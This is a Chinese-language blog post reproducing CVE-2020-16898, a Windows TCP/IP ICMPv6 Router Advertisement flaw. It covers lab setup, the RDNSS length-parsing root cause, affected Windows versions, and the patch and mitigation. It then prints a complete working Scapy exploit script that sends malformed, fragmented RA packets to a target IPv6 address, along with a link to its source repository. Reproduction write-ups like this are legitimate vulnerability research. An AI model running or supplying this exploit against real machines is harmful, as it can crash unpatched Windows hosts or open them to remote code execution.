千阪'BLOG Chisaka'

welcome

/  

CVE-2020-16898

CVE-2020-16898复现

当 Windows TCP/IP 堆栈不当处理 ICMPv6 Router Advertisement 数据包时,存在远程执行代码漏洞。成功利用此漏洞的攻击者可以获取在目标服务器或客户端上执行代码的能力。 为了利用此漏洞,攻击者可能必须将经特殊设计的 ICMPv6 Router Advertisement 数据包发送到远程 Windows 计算机上/更新通过更正 Windows TCP/IP 堆栈处理 ICMPv6 Router Advertisement 数据包的方式来修复该漏洞。

1.下一个win10的镜像,然后开启vmware的IPV6功能(编辑-虚拟网络编辑器-NAT设置),查看靶机IPV6地址

image.png

2.攻击机运行脚本(攻击机需要能与靶机进行通信

3.完成

原理
由于Windows TCP/IP堆栈在处理选项类型为25(0x19,递归DNS服务器选项),当伪造长度字段值为偶数的ICMPv6的路由广播数据包发送给目标主机时,Windows TCP/IP 在检查包过程中会根据Length来获取每个包的偏移,遍历解析,导致对 Addresses of IPv6 Recursive DNS Servers 和下一个 RDNSS 选项的边界解析错误,从而绕过验证,将攻击者伪造的option包进行解析,造成栈溢出,从而导致系统崩溃。

措施

影响范围:

Windows 10 1709/1803/1809/1903/1909/2004;

Windows Server 2019/2019(Server Core installation);

Windows Server 1903(Server Core installation)/1909(Server Core installation)/2004(Server Core installation);

漏洞类型:远程执行代码

官方解决方案:目前微软已发布了该漏洞的修复补丁,下载链接:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-16898

缓解措施:通过禁用ICMPv6 RDNSS可以缓解风险。

exp

from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "fd15:4ba5:5a2b:1008:999:728b:7c99:4c97"
v6_src = "fe80::999:728b:7c99:4c97%14"
 
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p)

**github:**https://github.com/komomon/CVE-2020-16898--EXP-POC/blob/main/exp/CVE-2020-16898-exp1.py


标题:Chisaka
作者:Chisaka
地址:https://www.xiaohongyan.cn/articles/2020/11/19/1605775005900.html
声明:博客上的所内容均可免费使用,可注明归属,注明作者或网址这种行为值得赞赏。